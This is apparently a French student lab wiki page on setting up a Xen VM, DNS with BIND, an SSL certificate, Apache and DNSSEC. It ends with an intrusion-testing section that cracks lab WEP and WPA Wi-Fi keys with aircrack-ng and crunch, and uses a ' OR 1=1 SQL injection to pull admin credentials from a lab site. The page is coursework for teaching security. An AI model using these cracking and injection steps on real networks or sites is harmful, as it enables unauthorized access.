J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.&lt;br /&gt;
&lt;br /&gt;
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.&lt;br /&gt;
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.&lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L10G -n Corona1 storage&lt;br /&gt;
 lvcreate -L10G -n Corona2 storage&lt;br /&gt;
&lt;br /&gt;
On les formate en ext4 :&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona1&lt;br /&gt;
 mkfs.ext4 /dev/storage/Corona2&lt;br /&gt;
&lt;br /&gt;
Enfin, on modifie le fichier /etc/xen/Corona.cfg :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',&lt;br /&gt;
                 'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona1,xvda3,w',&lt;br /&gt;
                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour se faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus corona59.club-ksk.{key/private} et corona59.club-zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/named.conf :&lt;br /&gt;
 include &amp;quot;/etc/bind/corona59.club/corona59.club-ksk.key&amp;quot; ;&lt;br /&gt;
 include &amp;quot;/etc/bind/corona59.club/corona59.club-zsk.key&amp;quot; ;&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57095</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57095"/>
				<updated>2021-12-13T18:42:32Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Injection SQL */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
